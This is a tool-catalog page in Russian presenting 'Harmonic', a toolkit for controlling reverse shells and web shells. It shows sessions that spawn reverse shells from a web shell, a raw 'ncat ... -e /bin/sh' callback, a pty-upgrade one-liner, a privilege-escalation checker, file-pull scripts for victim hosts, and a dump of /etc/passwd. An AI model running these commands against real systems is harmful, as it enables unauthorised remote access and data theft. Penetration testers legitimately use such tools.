Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Harmonic — Набор инструментов для работы с обратными оболочками, ориентированный на работу в нативной оболочке. | Kitploit
Инструменты/GitLabGitLab/runik/harmonic
Повышение привилегийСкриптинг и автоматизацияЭксплуатация веб-приложенийСбор информацииПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеИнструмент Удаленного ДоступаГенерация ШеллкодаРазработка Полезной Нагрузки
GitLab
8 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
runik/harmonic

Harmonic

Набор инструментов для работы с обратными оболочками, ориентированный на работу в нативной оболочке.

Репозиторий

Harmonic Suite

Начало набора linux-инструментов для управления и взаимодействия с обратными оболочками (код всё ещё находится в быстром и грязном состоянии, с минимальной обработкой исключений). Вдохновляясь философией UNIX, основная идея заключается в наличии демона для обработки произвольных конечных точек (connd, хотя это ещё не полноценный демон, но может работать в отдельном терминале) и запуске инструментов для работы с этими конечными точками.

Конечные точки «управляются» скриптом или процессом и представлены в виде файлов в файловой системе. Затем можно использовать тонкий клиент для взаимодействия с ними, но также можно легко записывать и читать с помощью shell-команд. Фактически, возможность запускать скрипты автономно из оболочки является ключевым фактором дизайна, когда в идеале скрипт будет зависеть только от наличия конечной точки, но также может использоваться в комбинации (каскадируя друг в друга).

Текущие варианты конечных точек:

  • nc — Запустить конечную точку netcat на определённом порту
  • wsh — Контекстная оболочка для взаимодействия с базовым веб-шелл скриптом
  • with — Запустить произвольный процесс в качестве конечной точки

Тонкий клиент (hthinc.py) предоставляет базовый интерфейс к конечным точкам системы, а также позволяет быстро запускать скрипты в системе. Было написано несколько базовых, но полезных скриптов:

  • sp — выполняет перебор на удалённой linux-системе, определяет языки сценариев (сейчас только python), запускает новую конечную точку и через текущую конечную точку создает интерактивную оболочку, подключающуюся к новой. Если указан драйвер, перебор пропускается и делается попытка использовать драйвер
  • lpc — запускает скрипт проверки повышения привилегий Linux через конечную точку
  • log — сохраняет вывод команды в текущий рабочий каталог
  • mac — запускает предопределённый макрос для конечной точки (как определено в разделе макросов $HCROOT/.hcrc)
  • pull — макро-скрипт для wget, который загружает файлы с портала (linux)
  • fpull — макро-скрипт для fetch, который загружает файлы с портала (*bsd)
  • wpinit — перечисляет скриптовые движки Windows (сейчас только VB) и генерирует файловый портальный скрипт для использования с wpull
  • vbpull — макро-скрипт для portal.vbs (см. wpinit), чтобы загружать файлы с портала (windows)
  • pspull — макро-скрипт для использования PowerShell для загрузки файла с портала (windows)

Типы драйверов обратных оболочек (т.е. что управляет оболочкой на удалённой системе) следующие (сейчас поддерживаются linux):

  • php
  • perl
  • fifo
  • python27
  • python3x

Другие скрипты:

  • hgenrsh.py — генерирует команду обратной оболочки python (сжатая и в base64), которая может форкнуть процесс
  • hcmd.py — запускает команду из локального окружения
  • hscr.py — запускает хук-скрипт
  • hdis.py — слушает соединение и отправляет произвольные данные клиенту из stdin
  • sys/bin/hpd.py — сервер портала для загрузки файлов по протоколу HTTP

Пример использования

  • Для примера $HCROOT указывает на каталог этого репозитория (см. конфигурацию внизу)
  • connd запущен как демон или обычный процесс.
    • Его можно запустить из $HCROOT/sys/bin/connd (сначала его нужно собрать)

Сообщите connd запустить конечную точку, используя драйвер wedge shell для предоставленного php-скрипта, который выполняет системные вызовы с форматированным ответом. Однако этот однострочный скрипт можно было так же легко внедрить в лог сервера

root@kitploit:~
$ hconnd.py start wsh http://example.com/hwsh.php
1

Это создало конечную точку 1 (два канала ввода/вывода — вы можете видеть их как t1i и t1o в подкаталоге run). Теперь используем hthinc.py для взаимодействия с оболочкой.

root@kitploit:~
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0

Мы знаем, что это Linux-машина. Мы хотим уйти от встроенной веб-оболочки и получить нормальную оболочку. Запуск встроенной команды !help показывает справочное сообщение thinc. Мы можем запустить скрипт sp, который выполнит команды на удалённой системе, перебор среды, запустит конечную точку nc, создаст обратную оболочку и автоматически подключится через новый экземпляр hthinc.py:

root@kitploit:~
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Или если мы знаем, что используем (например) PHP в качестве драйвера, можем указать его:

root@kitploit:~
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

И, скажем, у нас есть оболочка без TTY или мы хотим вырваться, можно запустить один из макросов по умолчанию:

root@kitploit:~
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$

Также, если мы хотим записать вывод команды, можно использовать скрипт log, который сохранит его в текущий рабочий каталог:

root@kitploit:~
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh

[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0

Пока конечные точки работают, вы можете подключать/отключать клиентов, так как процессы соединения управляются демоном

Быстрый повтор

Поскольку всё можно запустить более unix-способом, мы можем быстро повторять процессы из оболочки. Запускаем конечную точку webshell, получаем ID конечной точки, а затем из оболочки запускаем скрипт-спавнер sp.py для этой конечной точки (это тот же скрипт, что используется в hthinc.py, но с другой точкой входа).

root@kitploit:~
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

или одной строкой:

$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455

и легко автоматизировать:

root@kitploit:~
$ cat reverse.sh 
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
root@kitploit:~
$ ./reverse.sh 
<harmonic> basic shell spawner
[+] Running enumeration...
...
$

Запуск команды из вашего локального окружения

Инструмент hcmd.py позволяет быстро выполнить команду через конечную точку из вашей оболочки

root@kitploit:~
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux

и передать или перенаправить результаты как обычно

root@kitploit:~
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

Отслеживание конечных точек

Вы можете использовать глагол list для hconn.py, чтобы увидеть текущий список конечных точек с состоянием соединения, если применимо

root@kitploit:~
$ hconn.py list
1 [26616]:	/home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php	
2 [26622]:	nc -lp 4455 	Established -> 10.15.10.4
3 [26659]:	nc -nlvp 4495	Listening

Работа с конечными точками как с файлами

Настройка конечной точки wedge shell:

root@kitploit:~
$ hconn.py start wsh http://example.com/hwsh.php
1

Теперь мы можем настроить прослушиватель netcat на порту 4444:

root@kitploit:~
$ hconn.py start nc 4444
2

А затем записать в конечную точку wedge shell (eid 1) через входной файл:

root@kitploit:~
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i

Это должно было отправить оболочку обратно к прослушивателю netcat. Подключаем тонкий клиент к конечной точке netcat (eid 2), и у нас должна появиться ещё одна оболочка:

root@kitploit:~
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Запуск скриптов

Обобщение интерфейса оболочки в файлы означает, что скрипты, используемые для конечной точки webshell, также будут работать и для конечной точки обратной оболочки netcat. Вы можете вызывать скрипты, используя их абсолютный путь ($HCROOT/share/script/*.py) или использовать вспомогательный скрипт hscr.py

Мы можем запустить sp.py против конечной точки netcat и создать ещё одну обратную оболочку:

root@kitploit:~
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$

и эквивалент с абсолютным путём: $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1

или мы можем запустить Linux Priv Escalation Checker против webshell:

root@kitploit:~
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished

и мы можем вызывать их внутри экземпляра hthinc.py

!run lpc

Переменные окружения

Переменные окружения можно использовать для определения глобальных значений. Существует три уровня переменных, каждый с меньшим приоритетом, чем следующий:

  • Ресурсные
  • Окружения/Shell
  • Встроенные

Ресурсные переменные файла определены в $HCROOT/.hcrc. Они имеют самый низкий приоритет, но могут использоваться, чтобы не загрязнять системные переменные окружения.

Переменные окружения/shell передаются в процесс оболочкой и имеют префикс HCV_. Они объединятся с ресурсными переменными и перезаписывают существующие значения.

Встроенные переменные перезаписывают всё, что было определено ранее.

пример

Для этих примеров LHOST=127.0.0.1 определена как ресурсная переменная в .hcrc, а использование скрипта: ./script LPORT [LHOST]

Следующий скрипт будет иметь LHOST=127.0.0.1 и LPORT=4455 (ресурсная переменная)

root@kitploit:~
$ ./script 4455

Следующий скрипт будет иметь LHOST=192.168.1.101 и LPORT=4455 (shell-переменная)

root@kitploit:~
$ HCV_LHOST=192.168.1.101 ./script 4455

Следующий скрипт будет иметь LHOST=10.10.10.125 (встроенная переменная)

root@kitploit:~
$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125

Те же принципы применимы к !run SCR в hthinc.py (имейте в виду: переменные окружения/shell — это те, что передаются в ./hthinc.py)

Portal

Сервер портала — это базовый HTTP-сервер, который можно использовать для загрузки файлов на удалённую систему с помощью скриптов. Эти скрипты, как правило, действуют как макросы вокруг команды, создавая более единообразное взаимодействие на разных платформах. Сервер работает с файлами относительно $HCROOT/share/disp/

Пример использования

hpd.py запущен на порту 80. DHOST и DPORT определены в .hcrc как 127.0.0.1 и 80 соответственно (они указывают на сервер отправки). Это значит, что мне не нужно вводить эти переменные при вызове скрипта, но если они должны отличаться, мы просто включаем их как встроенные переменные, подобно переменной FILE=.

Мы вызываем скрипты из hthinc.py, но, опять же, мы можем запускать эти скрипты из нашей обычной оболочки, передав им ID конечной точки в командной строке. Если DHOST и DPORT уже определены, нам не нужно включать их в командную строку.

Для этого мы используем powershell через pspull для загрузки файла:

root@kitploit:~
c:\Users\user\Desktop>!run pspull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful

Здесь у нас нет PowerShell, поэтому нужно инициализировать портальный скрипт, затем загрузить файл:

root@kitploit:~
c:\Users\user\Desktop>!run wpinit
<harmonic> Win Portal Initialiser
[+] Running enumeration...
[+]   Checking VB engine... OK
[+] Using engine: VB
[+] Loading non-interactive script generator for 127.0.0.1... OK
[+] Running generator... OK
[+] Portal should be ready
c:\Users\user\Desktop>!run vbpull FILE=txt/test.txt
[+] Portal --> () --> test.txt
[+] Pull successful

Скрипт pull используется для Linux:

root@kitploit:~
$ !run pull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful

Чтобы уточнить встроенные переменные:

root@kitploit:~
$ !run pull FILE=txt/test.txt DHOST=192.168.1.1
[+] 192.168.1.1 --> () --> test.txt
[+] Pull successful

Макросы

Макросы определяются в разделе макросов $HCROOT/.hcrc macro и вызываются скриптом mac. В этой базовой форме они напоминают алиас в оболочке и фактически являются простыми однонаправленными скриптами, отправляющими команду через конечную точку удалённой оболочке. Удобно привязывать к макросам часто используемые, но трудоёмкие последовательности команд.

Вызов макроса из hthinc.py включает использование безымянной переменной — переменной без метки. Это позволяет вызывать макросы как параметр командной строки скрипта.

Опять же, макросы можно вызывать из обычной оболочки, используя тот же скрипт mac.py.

пример

Этот пример вызывает макрос pty в нестабильной оболочке. Макрос является алиасом для python -c 'import pty; pty.spawn("/bin/bash")':

root@kitploit:~
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
tty
no tty
!run mac pty
[email protected]:/var/www/html/$ 

Эквивалент запуска из командной строки (например, для конечной точки 5): hscr.py 5 mac pty. Когда вы снова подключите клиент к конечной точке, она должна работать с tty.

Ввод !run mac --list покажет список макросов.

Конфигурация

  • Для набора инструментов требуется переменная окружения HCROOT, указывающая на корневой каталог harmonic.
  • Добавьте $HCROOT в ваш $PATH, и вы сможете использовать основные скрипты из любого каталога.

Для сборки connd:

  • добавьте $HCROOT/sys в ваш $GOPATH
  • из $HCROOT/sys/bin: go build connd

Зависимости

  • Python 3.5
  • Go (моя система: 1.7.5)
  • Linux
Скачать инструмент